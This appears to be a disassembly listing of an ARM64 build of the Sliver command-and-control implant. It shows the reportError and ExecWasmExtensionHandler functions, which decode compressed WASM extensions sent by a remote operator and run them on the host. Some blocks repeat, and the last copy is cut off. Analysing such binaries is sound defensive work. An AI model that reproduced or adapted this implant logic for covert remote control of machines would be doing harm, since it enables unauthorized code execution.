File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
Loading..
0040e720
0040e720github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.reportError: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.reportError(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection, struct []uint8 data)
0040e720ldr x16, [x28+16]
0040e724subs xzr, sp, x16
0040e728b.ls 0x40e838
0040e72cstr x30, [sp-80]!
0040e730stur x29, [sp-8]
0040e734sub x29, sp, 8
0040e738str x0, [sp+88]
0040e73cstr x1, [sp+96]
0040e740str x2, [sp+104]
0040e744str x3, [sp+112]
0040e748str x4, [sp+120]
0040e74cadrp x0, 0x276000
0040e750add x0, x0, 2848
0040e754bl runtime.newobject
0040e758str x0, [sp+56]
0040e75cadrp x27, 0x63d000
0040e760ldr w1, [x27+3056]
0040e764cbz w1, 0x40e76c
0040e768b 0x40e770
0040e76c
0040e76cloc_40e76c:
0040e76cb 0x40e78c
0040e770
0040e770loc_40e770:
0040e770str x0, [sp+40]
0040e774mov x1, x0
0040e778adrp x0, 0x276000
0040e77cadd x0, x0, 2848
0040e780bl runtime.wbZero
0040e784ldr x0, [sp+40]
0040e788b 0x40e78c
0040e78c
0040e78cloc_40e78c:
0040e78cmov x20, x0
0040e790adr x27, 16
0040e794stp x29, x27, [sp-24]
0040e798sub x29, sp, 24
0040e79cbl fn_87cfc
0040e7a0sub x29, sp, 8
0040e7a4str xzr, [x0+80]
0040e7a8ldr x2, [sp+56]
0040e7acldrsb x27, [x2]
0040e7b0ldr x3, [sp+104]
0040e7b4ldr x4, [sp+112]
0040e7b8ldr x5, [sp+120]
0040e7bcstr x4, [x2+32]
0040e7c0str x5, [x2+40]
0040e7c4adrp x27, 0x63d000
0040e7c8ldr w4, [x27+3056]
0040e7cccbz w4, 0x40e7d4
0040e7d0b 0x40e7d8
0040e7d4
0040e7d4loc_40e7d4:
0040e7d4b 0x40e7ec
0040e7d8
0040e7d8loc_40e7d8:
0040e7d8bl runtime.gcWriteBarrier2
0040e7dcstr x3, [x25]
0040e7e0ldr x4, [x2+24]
0040e7e4str x4, [x25+8]
0040e7e8b 0x40e7ec
0040e7ec
0040e7ecloc_40e7ec:
0040e7ecstr x3, [x2+24]
0040e7f0ldr x2, [sp+56]
0040e7f4ldrsb x27, [x2]
0040e7f8ldr x3, [sp+88]
0040e7fcldrsb x27, [x3]
0040e800ldr x3, [x3+8]
0040e804str x3, [x2+8]
0040e808ldr x2, [sp+56]
0040e80cstr x2, [sp+64]
0040e810ldr x2, [sp+96]
0040e814ldrsb x27, [x2]
0040e818ldr x2, [x2]
0040e81cstr x2, [sp+48]
0040e820ldr x0, [sp+48]
0040e824add x1, sp, 64
0040e828bl runtime.chansend1
0040e82cldur x29, [sp-8]
0040e830ldr x30, [sp], 80
0040e834ret x30
0040e838
0040e838loc_40e838:
0040e838stp x0, x1, [sp+8]
0040e83cstp x2, x3, [sp+24]
0040e840str x4, [sp+40]
0040e844mov x3, x30
0040e848bl runtime.morestack_noctxt.abi0
0040e84cldp x0, x1, [sp+8]
0040e850ldp x2, x3, [sp+24]
0040e854ldr x4, [sp+40]
0040e858b 0x40e720
0040e85cudf 0
0040e720
0040e720github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.reportError: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.reportError(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection, struct []uint8 data)
0040e720ldr x16, [x28+16]
0040e724subs xzr, sp, x16
0040e728b.ls 0x40e838
0040e72cstr x30, [sp-80]!
0040e730stur x29, [sp-8]
0040e734sub x29, sp, 8
0040e738str x0, [sp+88]
0040e73cstr x1, [sp+96]
0040e740str x2, [sp+104]
0040e744str x3, [sp+112]
0040e748str x4, [sp+120]
0040e74cadrp x0, 0x276000
0040e750add x0, x0, 2848
0040e754bl runtime.newobject
0040e758str x0, [sp+56]
0040e75cadrp x27, 0x63d000
0040e760ldr w1, [x27+3056]
0040e764cbz w1, 0x40e76c
0040e768b 0x40e770
0040e76c
0040e76cloc_40e76c:
0040e76cb 0x40e78c
0040e770
0040e770loc_40e770:
0040e770str x0, [sp+40]
0040e774mov x1, x0
0040e778adrp x0, 0x276000
0040e77cadd x0, x0, 2848
0040e780bl runtime.wbZero
0040e784ldr x0, [sp+40]
0040e788b 0x40e78c
0040e78c
0040e78cloc_40e78c:
0040e78cmov x20, x0
0040e790adr x27, 16
0040e794stp x29, x27, [sp-24]
0040e798sub x29, sp, 24
0040e79cbl fn_87cfc
0040e7a0sub x29, sp, 8
0040e7a4str xzr, [x0+80]
0040e7a8ldr x2, [sp+56]
0040e7acldrsb x27, [x2]
0040e7b0ldr x3, [sp+104]
0040e7b4ldr x4, [sp+112]
0040e7b8ldr x5, [sp+120]
0040e7bcstr x4, [x2+32]
0040e7c0str x5, [x2+40]
0040e7c4adrp x27, 0x63d000
0040e7c8ldr w4, [x27+3056]
0040e7cccbz w4, 0x40e7d4
0040e7d0b 0x40e7d8
0040e7d4
0040e7d4loc_40e7d4:
0040e7d4b 0x40e7ec
0040e7d8
0040e7d8loc_40e7d8:
0040e7d8bl runtime.gcWriteBarrier2
0040e7dcstr x3, [x25]
0040e7e0ldr x4, [x2+24]
0040e7e4str x4, [x25+8]
0040e7e8b 0x40e7ec
0040e7ec
0040e7ecloc_40e7ec:
0040e7ecstr x3, [x2+24]
0040e7f0ldr x2, [sp+56]
0040e7f4ldrsb x27, [x2]
0040e7f8ldr x3, [sp+88]
0040e7fcldrsb x27, [x3]
0040e800ldr x3, [x3+8]
0040e804str x3, [x2+8]
0040e808ldr x2, [sp+56]
0040e80cstr x2, [sp+64]
0040e810ldr x2, [sp+96]
0040e814ldrsb x27, [x2]
0040e818ldr x2, [x2]
0040e81cstr x2, [sp+48]
0040e820ldr x0, [sp+48]
0040e824add x1, sp, 64
0040e828bl runtime.chansend1
0040e82cldur x29, [sp-8]
0040e830ldr x30, [sp], 80
0040e834ret x30
0040e838
0040e838loc_40e838:
0040e838stp x0, x1, [sp+8]
0040e83cstp x2, x3, [sp+24]
0040e840str x4, [sp+40]
0040e844mov x3, x30
0040e848bl runtime.morestack_noctxt.abi0
0040e84cldp x0, x1, [sp+8]
0040e850ldp x2, x3, [sp+24]
0040e854ldr x4, [sp+40]
0040e858b 0x40e720
0040e85cudf 0
0040e720
0040e860
0040e860github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ExecWasmExtensionHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ExecWasmExtensionHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
0040e860ldr x16, [x28+16]
0040e864sub x17, sp, 688
0040e868subs xzr, x17, x16
0040e86cb.ls 0x40f054
0040e870sub x20, sp, 816
0040e874stp x29, x30, [x20-8]
0040e878add sp, x20, 0
0040e87csub x29, sp, 8
0040e880str x0, [sp+824]
0040e884str x1, [sp+832]
0040e888adrp x0, 0x280000
0040e88cadd x0, x0, 1216
0040e890bl runtime.newobject
0040e894str x0, [sp+592]
0040e898adrp x27, 0x63d000
0040e89cldr w1, [x27+3056]
0040e8a0cbz w1, 0x40e8a8
0040e8a4b 0x40e8ac
0040e8a8
0040e8a8loc_40e8a8:
0040e8a8b 0x40e8c8
0040e8ac
0040e8acloc_40e8ac:
0040e8acstr x0, [sp+208]
0040e8b0mov x1, x0
0040e8b4adrp x0, 0x280000
0040e8b8add x0, x0, 1216
0040e8bcbl runtime.wbZero
0040e8c0ldr x0, [sp+208]
0040e8c4b 0x40e8c8
0040e8c8
0040e8c8loc_40e8c8:
0040e8c8mov x20, x0
0040e8ccadr x27, 16
0040e8d0stp x29, x27, [sp-24]
0040e8d4sub x29, sp, 24
0040e8d8bl fn_87cf4
0040e8dcsub x29, sp, 8
0040e8e0ldr x5, [sp+592]
0040e8e4str x5, [sp+112]
0040e8e8str x5, [sp+680]
0040e8ecldr x5, [sp+824]
0040e8f0ldrsb x27, [x5]
0040e8f4ldr x0, [x5+24]
0040e8f8ldr x1, [x5+32]
0040e8fcldr x2, [x5+40]
0040e900str x0, [sp+568]
0040e904str x1, [sp+576]
0040e908str x2, [sp+584]
0040e90cldr x4, [sp+680]
0040e910adrp x3, 0x306000
0040e914add x3, x3, 3040
0040e918bl google.golang.org/protobuf/proto.Unmarshal
0040e91cstr x0, [sp+128]
0040e920str x1, [sp+136]
0040e924cbnz x0, 0x40e92c
0040e928b 0x40e9ec
0040e92c
0040e92cloc_40e92c:
0040e92cadd x27, sp, 664
0040e930stp xzr, xzr, [x27]
0040e934add x5, sp, 664
0040e938str x5, [sp+536]
0040e93cldr x5, [sp+128]
0040e940ldr x6, [sp+136]
0040e944str x5, [sp+520]
0040e948str x6, [sp+528]
0040e94cstr x5, [sp+512]
0040e950ldr x5, [sp+512]
0040e954cbnz x5, 0x40e95c
0040e958b 0x40e96c
0040e95c
0040e95cloc_40e95c:
0040e95cldr x5, [sp+512]
0040e960ldr x5, [x5+8]
0040e964str x5, [sp+512]
0040e968b 0x40e970
0040e96c
0040e96cloc_40e96c:
0040e96cb 0x40e970
0040e970
0040e970loc_40e970:
0040e970ldr x5, [sp+536]
0040e974ldrsb x27, [x5]
0040e978ldr x6, [sp+512]
0040e97cldr x7, [sp+528]
0040e980str x6, [x5]
0040e984adrp x27, 0x63d000
0040e988ldr w6, [x27+3056]
0040e98ccbz w6, 0x40e994
0040e990b 0x40e998
0040e994
0040e994loc_40e994:
0040e994b 0x40e9ac
0040e998
0040e998loc_40e998:
0040e998bl runtime.gcWriteBarrier2
0040e99cstr x7, [x25]
0040e9a0ldr x6, [x5+8]
0040e9a4str x6, [x25+8]
0040e9a8b 0x40e9ac
0040e9ac
0040e9acloc_40e9ac:
0040e9acstr x7, [x5+8]
0040e9b0ldr x2, [sp+536]
0040e9b4ldrsb x27, [x2]
0040e9b8b 0x40e9bc
0040e9bc
0040e9bcloc_40e9bc:
0040e9bcstr x2, [sp+544]
0040e9c0orr x4, xzr, 1
0040e9c4str x4, [sp+552]
0040e9c8str x4, [sp+560]
0040e9ccadrp x0, 0x2ac000
0040e9d0add x0, x0, 981
0040e9d4movz x1, 26
0040e9d8mov x3, x4
0040e9dcbl log.Printf
0040e9e0ldp x29, x30, [sp-8]
0040e9e4add sp, sp, 816
0040e9e8ret x30
0040e9ec
0040e9ecloc_40e9ec:
0040e9ecstr xzr, [sp+656]
0040e9f0ldr x4, [sp+112]
0040e9f4ldrsb x27, [x4]
0040e9f8ldr x2, [x4+8]
0040e9fcldr x3, [x4+16]
0040ea00str x2, [sp+496]
0040ea04str x3, [sp+504]
0040ea08adrp x27, 0x612000
0040ea0cldr x1, [x27+3456]
0040ea10adrp x0, 0x215000
0040ea14add x0, x0, 3680
0040ea18bl runtime.mapaccess2_faststr
0040ea1cstr x0, [sp+488]
0040ea20strb w1, [sp+71]
0040ea24ldr x4, [sp+488]
0040ea28ldr x4, [x4]
0040ea2cstr x4, [sp+656]
0040ea30str x4, [sp+192]
0040ea34ldrb w4, [sp+71]
0040ea38strb w4, [sp+70]
0040ea3cldr x4, [sp+192]
0040ea40str x4, [sp+120]
0040ea44ldrb w4, [sp+70]
0040ea48strb w4, [sp+69]
0040ea4ctbnz w4, 0, 0x40ea54
0040ea50b 0x40efa8
0040ea54
0040ea54loc_40ea54:
0040ea54str xzr, [sp+632]
0040ea58add x27, sp, 640
0040ea5cstp xzr, xzr, [x27]
0040ea60add x27, sp, 616
0040ea64stp xzr, xzr, [x27]
0040ea68ldr x3, [sp+120]
0040ea6cldrsb x27, [x3]
0040ea70ldr x0, [x3+24]
0040ea74ldr x1, [x3+32]
0040ea78ldr x2, [x3+40]
0040ea7cstr x0, [sp+408]
0040ea80str x1, [sp+416]
0040ea84str x2, [sp+424]
0040ea88bl github.com/bishopfox/sliver/implant/sliver/encoders.GzipEncoder.Decode
0040ea8cstr x0, [sp+632]
0040ea90str x1, [sp+640]
0040ea94str x2, [sp+648]
0040ea98str x3, [sp+616]
0040ea9cstr x4, [sp+624]
0040eaa0ldr x3, [sp+632]
0040eaa4ldr x4, [sp+640]
0040eaa8ldr x5, [sp+648]
0040eaacstr x3, [sp+168]
0040eab0str x4, [sp+176]
0040eab4str x5, [sp+184]
0040eab8ldr x3, [sp+616]
0040eabcldr x4, [sp+624]
0040eac0str x3, [sp+792]
0040eac4str x4, [sp+800]
0040eac8ldr x3, [sp+168]
0040eaccldr x4, [sp+176]
0040ead0ldr x5, [sp+184]
0040ead4str x3, [sp+88]
0040ead8str x4, [sp+96]
0040eadcstr x5, [sp+104]
0040eae0ldr x3, [sp+800]
0040eae4ldr x4, [sp+792]
0040eae8str x4, [sp+128]
0040eaecstr x3, [sp+136]
0040eaf0cbnz x4, 0x40eaf8
0040eaf4b 0x40ebb8
0040eaf8
0040eaf8loc_40eaf8:
0040eaf8add x27, sp, 664
0040eafcstp xzr, xzr, [x27]
0040eb00add x5, sp, 664
0040eb04str x5, [sp+376]
0040eb08ldr x5, [sp+128]
0040eb0cldr x6, [sp+136]
0040eb10str x5, [sp+360]
0040eb14str x6, [sp+368]
0040eb18str x5, [sp+352]
0040eb1cldr x5, [sp+352]
0040eb20cbnz x5, 0x40eb28
0040eb24b 0x40eb38
0040eb28
0040eb28loc_40eb28:
0040eb28ldr x5, [sp+352]
0040eb2cldr x5, [x5+8]
0040eb30str x5, [sp+352]
0040eb34b 0x40eb3c
0040eb38
0040eb38loc_40eb38:
0040eb38b 0x40eb3c
0040eb3c
0040eb3cloc_40eb3c:
0040eb3cldr x5, [sp+376]
0040eb40ldrsb x27, [x5]
0040eb44ldr x6, [sp+352]
0040eb48ldr x7, [sp+368]
0040eb4cstr x6, [x5]
0040eb50adrp x27, 0x63d000
0040eb54ldr w6, [x27+3056]
0040eb58cbz w6, 0x40eb60
0040eb5cb 0x40eb64
0040eb60
0040eb60loc_40eb60:
0040eb60b 0x40eb78
0040eb64
0040eb64loc_40eb64:
0040eb64bl runtime.gcWriteBarrier2
0040eb68str x7, [x25]
0040eb6cldr x6, [x5+8]
0040eb70str x6, [x25+8]
0040eb74b 0x40eb78
0040eb78
0040eb78loc_40eb78:
0040eb78str x7, [x5+8]
0040eb7cldr x2, [sp+376]
0040eb80ldrsb x27, [x2]
0040eb84b 0x40eb88
0040eb88
0040eb88loc_40eb88:
0040eb88str x2, [sp+384]
0040eb8corr x4, xzr, 1
0040eb90str x4, [sp+392]
0040eb94str x4, [sp+400]
0040eb98adrp x0, 0x2b1000
0040eb9cadd x0, x0, 1761
0040eba0movz x1, 33
0040eba4mov x3, x4
0040eba8bl log.Printf
0040ebacldp x29, x30, [sp-8]
0040ebb0add sp, sp, 816
0040ebb4ret x30
0040ebb8
0040ebb8loc_40ebb8:
0040ebb8ldr x1, [sp+96]
0040ebbcstr x1, [sp+72]
0040ebc0add x27, sp, 664
0040ebc4stp xzr, xzr, [x27]
0040ebc8add x1, sp, 664
0040ebccstr x1, [sp+320]
0040ebd0ldr x0, [sp+72]
0040ebd4bl runtime.convT64
0040ebd8str x0, [sp+312]
0040ebdcldr x1, [sp+320]
0040ebe0ldrsb x27, [x1]
0040ebe4adrp x2, 0x1e7000
0040ebe8add x2, x2, 3520
0040ebecstr x2, [x1]
0040ebf0adrp x27, 0x63d000
0040ebf4ldr w2, [x27+3056]
0040ebf8cbz w2, 0x40ec00
0040ebfcb 0x40ec04
0040ec00
0040ec00loc_40ec00:
0040ec00b 0x40ec18
0040ec04
0040ec04loc_40ec04:
0040ec04bl runtime.gcWriteBarrier2
0040ec08str x0, [x25]
0040ec0cldr x5, [x1+8]
0040ec10str x5, [x25+8]
0040ec14b 0x40ec18
0040ec18
0040ec18loc_40ec18:
0040ec18str x0, [x1+8]
0040ec1cldr x2, [sp+320]
0040ec20ldrsb x27, [x2]
0040ec24b 0x40ec28
0040ec28
0040ec28loc_40ec28:
0040ec28str x2, [sp+328]
0040ec2corr x4, xzr, 1
0040ec30str x4, [sp+336]
0040ec34str x4, [sp+344]
0040ec38adrp x0, 0x2ac000
0040ec3cadd x0, x0, 1449
0040ec40movz x1, 26
0040ec44mov x3, x4
0040ec48bl log.Printf
0040ec4cstr xzr, [sp+608]
0040ec50add x27, sp, 616
0040ec54stp xzr, xzr, [x27]
0040ec58ldr x5, [sp+120]
0040ec5cldrsb x27, [x5]
0040ec60ldr x6, [x5+8]
0040ec64ldr x5, [x5+16]
0040ec68str x6, [sp+296]
0040ec6cstr x5, [sp+304]
0040ec70ldr x5, [sp+112]
0040ec74ldrsb x27, [x5]
0040ec78ldr x5, [x5+56]
0040ec7cstr x5, [sp+288]
0040ec80ldr x2, [sp+88]
0040ec84ldr x3, [sp+96]
0040ec88ldr x4, [sp+104]
0040ec8cldr x0, [sp+296]
0040ec90ldr x1, [sp+304]
0040ec94bl github.com/bishopfox/sliver/implant/sliver/extension.NewWasmExtension
0040ec98str x0, [sp+608]
0040ec9cstr x1, [sp+616]
0040eca0str x2, [sp+624]
0040eca4ldr x5, [sp+608]
0040eca8str x5, [sp+784]
0040ecacldr x5, [sp+616]
0040ecb0ldr x6, [sp+624]
0040ecb4str x5, [sp+768]
0040ecb8str x6, [sp+776]
0040ecbcldr x5, [sp+784]
0040ecc0str x5, [sp+80]
0040ecc4ldr x5, [sp+776]
0040ecc8ldr x6, [sp+768]
0040ecccstr x6, [sp+128]
0040ecd0str x5, [sp+136]
0040ecd4cbnz x6, 0x40ecdc
0040ecd8b 0x40ed9c
0040ecdc
0040ecdcloc_40ecdc:
0040ecdcadd x27, sp, 664
0040ece0stp xzr, xzr, [x27]
0040ece4add x5, sp, 664
0040ece8str x5, [sp+256]
0040ececldr x5, [sp+128]
0040ecf0ldr x6, [sp+136]
0040ecf4str x5, [sp+240]
0040ecf8str x6, [sp+248]
0040ecfcstr x5, [sp+232]
0040ed00ldr x5, [sp+232]
0040ed04cbnz x5, 0x40ed0c
0040ed08b 0x40ed1c
0040ed0c
0040ed0cloc_40ed0c:
0040ed0cldr x5, [sp+232]
0040ed10ldr x5, [x5+8]
0040ed14str x5, [sp+232]
0040ed18b 0x40ed20
0040ed1c
0040ed1cloc_40ed1c:
0040ed1cb 0x40ed20
0040ed20
0040ed20loc_40ed20:
0040ed20ldr x5, [sp+256]
0040ed24ldrsb x27, [x5]
0040ed28ldr x6, [sp+232]
0040ed2cldr x7, [sp+248]
0040ed30str x6, [x5]
0040ed34adrp x27, 0x63d000
0040ed38ldr w6, [x27+3056]
0040ed3ccbz w6, 0x40ed44
0040ed40b 0x40ed48
0040ed44
0040ed44loc_40ed44:
0040ed44b 0x40ed5c
0040ed48
0040ed48loc_40ed48:
0040ed48bl runtime.gcWriteBarrier2
0040ed4cstr x7, [x25]
0040ed50ldr x6, [x5+8]
0040ed54str x6, [x25+8]
0040ed58b 0x40ed5c
0040ed5c
0040ed5cloc_40ed5c:
0040ed5cstr x7, [x5+8]
0040ed60ldr x2, [sp+256]
0040ed64ldrsb x27, [x2]
0040ed68b 0x40ed6c
0040ed6c
0040ed6cloc_40ed6c:
0040ed6cstr x2, [sp+264]
0040ed70orr x4, xzr, 1
0040ed74str x4, [sp+272]
0040ed78str x4, [sp+280]
0040ed7cadrp x0, 0x2b1000
0040ed80add x0, x0, 1794
0040ed84movz x1, 33
0040ed88mov x3, x4
0040ed8cbl log.Printf
0040ed90ldp x29, x30, [sp-8]
0040ed94add sp, sp, 816
0040ed98ret x30
0040ed9c
0040ed9cloc_40ed9c:
0040ed9cstr xzr, [sp+144]
0040eda0stp xzr, xzr, [sp+152]
0040eda4ldr x3, [sp+112]
0040eda8ldrsb x27, [x3]
0040edacldrb w3, [x3+48]
0040edb0tbnz w3, 0, 0x40edb8
0040edb4b 0x40ee34
0040edb8
0040edb8loc_40edb8:
0040edb8str xzr, [sp+632]
0040edbcadd x27, sp, 640
0040edc0stp xzr, xzr, [x27]
0040edc4add x27, sp, 616
0040edc8stp xzr, xzr, [x27]
0040edccldr x1, [sp+832]
0040edd0ldr x2, [sp+80]
0040edd4ldr x0, [sp+112]
0040edd8bl github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive
0040eddcstr x0, [sp+632]
0040ede0str x1, [sp+640]
0040ede4str x2, [sp+648]
0040ede8str x3, [sp+616]
0040edecstr x4, [sp+624]
0040edf0ldr x3, [sp+632]
0040edf4ldr x4, [sp+640]
0040edf8ldr x5, [sp+648]
0040edfcstr x3, [sp+744]
0040ee00str x4, [sp+752]
0040ee04str x5, [sp+760]
0040ee08ldr x3, [sp+616]
0040ee0cldr x4, [sp+624]
0040ee10str x3, [sp+728]
0040ee14str x4, [sp+736]
0040ee18ldr x3, [sp+744]
0040ee1cldr x4, [sp+752]
0040ee20ldr x5, [sp+760]
0040ee24str x3, [sp+144]
0040ee28str x4, [sp+152]
0040ee2cstr x5, [sp+160]
0040ee30b 0x40eeac
0040ee34
0040ee34loc_40ee34:
0040ee34str xzr, [sp+632]
0040ee38add x27, sp, 640
0040ee3cstp xzr, xzr, [x27]
0040ee40add x27, sp, 616
0040ee44stp xzr, xzr, [x27]
0040ee48ldr x1, [sp+80]
0040ee4cldr x0, [sp+112]
0040ee50bl github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runNonInteractive
0040ee54str x0, [sp+632]
0040ee58str x1, [sp+640]
0040ee5cstr x2, [sp+648]
0040ee60str x3, [sp+616]
0040ee64str x4, [sp+624]
0040ee68ldr x2, [sp+632]
0040ee6cldr x3, [sp+640]
0040ee70ldr x4, [sp+648]
0040ee74str x2, [sp+704]
0040ee78str x3, [sp+712]
0040ee7cstr x4, [sp+720]
0040ee80ldr x2, [sp+616]
0040ee84ldr x3, [sp+624]
0040ee88str x2, [sp+688]
0040ee8cstr x3, [sp+696]
0040ee90ldr x2, [sp+704]
0040ee94ldr x3, [sp+712]
0040ee98ldr x4, [sp+720]
0040ee9cstr x2, [sp+144]
0040eea0str x3, [sp+152]
0040eea4str x4, [sp+160]
0040eea8b 0x40eeac
0040eeac
0040eeacloc_40eeac:
0040eeacadrp x0, 0x276000
0040eeb0add x0, x0, 2848
0040eeb4bl runtime.newobject
0040eeb8str x0, [sp+224]
0040eebcadrp x27, 0x63d000
0040eec0ldr w1, [x27+3056]
0040eec4cbz w1, 0x40eecc
0040eec8b 0x40eed0
0040eecc
0040eeccloc_40eecc:
0040eeccb 0x40eeec
0040eed0
0040eed0loc_40eed0:
0040eed0str x0, [sp+200]
0040eed4mov x1, x0
0040eed8adrp x0, 0x276000
0040eedcadd x0, x0, 2848
0040eee0bl runtime.wbZero
0040eee4ldr x0, [sp+200]
0040eee8b 0x40eeec
0040eeec
0040eeecloc_40eeec:
0040eeecmov x20, x0
0040eef0adr x27, 16
0040eef4stp x29, x27, [sp-24]
0040eef8sub x29, sp, 24
0040eefcbl fn_87cfc
0040ef00sub x29, sp, 8
0040ef04str xzr, [x0+80]
0040ef08ldr x2, [sp+224]
0040ef0cldrsb x27, [x2]
0040ef10ldr x3, [sp+824]
0040ef14ldrsb x27, [x3]
0040ef18ldr x3, [x3+8]
0040ef1cstr x3, [x2+8]
0040ef20ldr x2, [sp+224]
0040ef24ldrsb x27, [x2]
0040ef28orr x3, xzr, 126
0040ef2cstr w3, [x2+16]
0040ef30ldr x2, [sp+224]
0040ef34ldrsb x27, [x2]
0040ef38ldr x3, [sp+144]
0040ef3cldr x4, [sp+152]
0040ef40ldr x5, [sp+160]
0040ef44str x4, [x2+32]
0040ef48str x5, [x2+40]
0040ef4cadrp x27, 0x63d000
0040ef50ldr w4, [x27+3056]
0040ef54cbz w4, 0x40ef5c
0040ef58b 0x40ef60
0040ef5c
0040ef5cloc_40ef5c:
0040ef5cb 0x40ef74
0040ef60
0040ef60loc_40ef60:
0040ef60bl runtime.gcWriteBarrier2
0040ef64str x3, [x25]
0040ef68ldr x4, [x2+24]
0040ef6cstr x4, [x25+8]
0040ef70b 0x40ef74
0040ef74
0040ef74loc_40ef74:
0040ef74str x3, [x2+24]
0040ef78ldr x2, [sp+224]
0040ef7cstr x2, [sp+600]
0040ef80ldr x2, [sp+832]
0040ef84ldrsb x27, [x2]
0040ef88ldr x2, [x2]
0040ef8cstr x2, [sp+216]
0040ef90ldr x0, [sp+216]
0040ef94add x1, sp, 600
0040ef98bl runtime.chansend1
0040ef9cldp x29, x30, [sp-8]
0040efa0add sp, sp, 816
0040efa4ret x30
0040efa8
0040efa8loc_40efa8:
0040efa8add x27, sp, 664
0040efacstp xzr, xzr, [x27]
0040efb0add x2, sp, 664
0040efb4str x2, [sp+456]
0040efb8ldr x2, [sp+112]
0040efbcldrsb x27, [x2]
0040efc0ldr x0, [x2+8]
0040efc4ldr x1, [x2+16]
0040efc8str x0, [sp+440]
0040efccstr x1, [sp+448]
0040efd0bl runtime.convTstring
0040efd4str x0, [sp+432]
0040efd8ldr x2, [sp+456]
0040efdcldrsb x27, [x2]
0040efe0adrp x3, 0x1e7000
0040efe4add x3, x3, 2944
0040efe8str x3, [x2]
0040efecadrp x27, 0x63d000
0040eff0ldr w3, [x27+3056]
0040eff4cbz w3, 0x40effc
0040eff8b 0x40f000
0040effc
0040effcloc_40effc:
0040effcb 0x40f014
0040f000
0040f000loc_40f000:
0040f000bl runtime.gcWriteBarrier2
0040f004str x0, [x25]
0040f008ldr x5, [x2+8]
0040f00cstr x5, [x25+8]
0040f010b 0x40f014
0040f014
0040f014loc_40f014:
0040f014str x0, [x2+8]
0040f018ldr x2, [sp+456]
0040f01cldrsb x27, [x2]
0040f020b 0x40f024
0040f024
0040f024loc_40f024:
0040f024str x2, [sp+464]
0040f028orr x4, xzr, 1
0040f02cstr x4, [sp+472]
0040f030str x4, [sp+480]
0040f034adrp x0, 0x2ad000
0040f038add x0, x0, 2135
0040f03cmovz x1, 29
0040f040mov x3, x4
0040f044bl log.Printf
0040f048ldp x29, x30, [sp-8]
0040f04cadd sp, sp, 816
0040f050ret x30
0040f054
0040f054loc_40f054:
0040f054stp x0, x1, [sp+8]
0040f058mov x3, x30
0040f05cbl runtime.morestack_noctxt.abi0
0040f060ldp x0, x1, [sp+8]
0040f064b 0x40e860
0040f068udf 0
0040f06cudf 0
0040e860
0040e860github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ExecWasmExtensionHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.ExecWasmExtensionHandler(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope, github.com/bishopfox/sliver/implant/sliver/transports.Connection * connection)
0040e860ldr x16, [x28+16]
0040e864sub x17, sp, 688
0040e868subs xzr, x17, x16
0040e86cb.ls 0x40f054
0040e870sub x20, sp, 816
0040e874stp x29, x30, [x20-8]
0040e878add sp, x20, 0
0040e87csub x29, sp, 8
0040e880str x0, [sp+824]
0040e884str x1, [sp+832]
0040e888adrp x0, 0x280000
0040e88cadd x0, x0, 1216
0040e890bl runtime.newobject
0040e894str x0, [sp+592]
0040e898adrp x27, 0x63d000
0040e89cldr w1, [x27+3056]
0040e8a0cbz w1, 0x40e8a8
0040e8a4b 0x40e8ac
0040e8a8
0040e8a8loc_40e8a8:
0040e8a8b 0x40e8c8
0040e8ac
0040e8acloc_40e8ac:
0040e8acstr x0, [sp+208]
0040e8b0mov x1, x0
0040e8b4adrp x0, 0x280000
0040e8b8add x0, x0, 1216
0040e8bcbl runtime.wbZero
0040e8c0ldr x0, [sp+208]
0040e8c4b 0x40e8c8
0040e8c8
0040e8c8loc_40e8c8:
0040e8c8mov x20, x0
0040e8ccadr x27, 16
0040e8d0stp x29, x27, [sp-24]
0040e8d4sub x29, sp, 24
0040e8d8bl fn_87cf4
0040e8dcsub x29, sp, 8
0040e8e0ldr x5, [sp+592]
0040e8e4str x5, [sp+112]
0040e8e8str x5, [sp+680]
0040e8ecldr x5, [sp+824]
0040e8f0ldrsb x27, [x5]
0040e8f4ldr x0, [x5+24]
0040e8f8ldr x1, [x5+32]
0040e8fcldr x2, [x5+40]
0040e900str x0, [sp+568]
0040e904str x1, [sp+576]
0040e908str x2, [sp+584]
0040e90cldr x4, [sp+680]
0040e910adrp x3, 0x306000
0040e914add x3, x3, 3040
0040e918bl google.golang.org/protobuf/proto.Unmarshal
0040e91cstr x0, [sp+128]
0040e920str x1, [sp+136]
0040e924cbnz x0, 0x40e92c
0040e928b 0x40e9ec
0040e92c
0040e92cloc_40e92c:
0040e92cadd x27, sp, 664
0040e930stp xzr, xzr, [x27]
0040e934add x5, sp, 664
0040e938str x5, [sp+536]
0040e93cldr x5, [sp+128]
0040e940ldr x6, [sp+136]
0040e944str x5, [sp+520]
0040e948str x6, [sp+528]
0040e94cstr x5, [sp+512]
0040e950ldr x5, [sp+512]
0040e954cbnz x5, 0x40e95c
0040e958b 0x40e96c
0040e95c
0040e95cloc_40e95c:
0040e95cldr x5, [sp+512]
0040e960ldr x5, [x5+8]
0040e964str x5, [sp+512]
0040e968b 0x40e970
0040e96c
0040e96cloc_40e96c:
0040e96cb 0x40e970
0040e970
0040e970loc_40e970:
0040e970ldr x5, [sp+536]
0040e974ldrsb x27, [x5]
0040e978ldr x6, [sp+512]
0040e97cldr x7, [sp+528]
0040e980str x6, [x5]
0040e984adrp x27, 0x63d000
0040e988ldr w6, [x27+3056]
0040e98ccbz w6, 0x40e994
0040e990b 0x40e998
0040e994
0040e994loc_40e994:
0040e994b 0x40e9ac
0040e998
0040e998loc_40e998:
0040e998bl runtime.gcWriteBarrier2
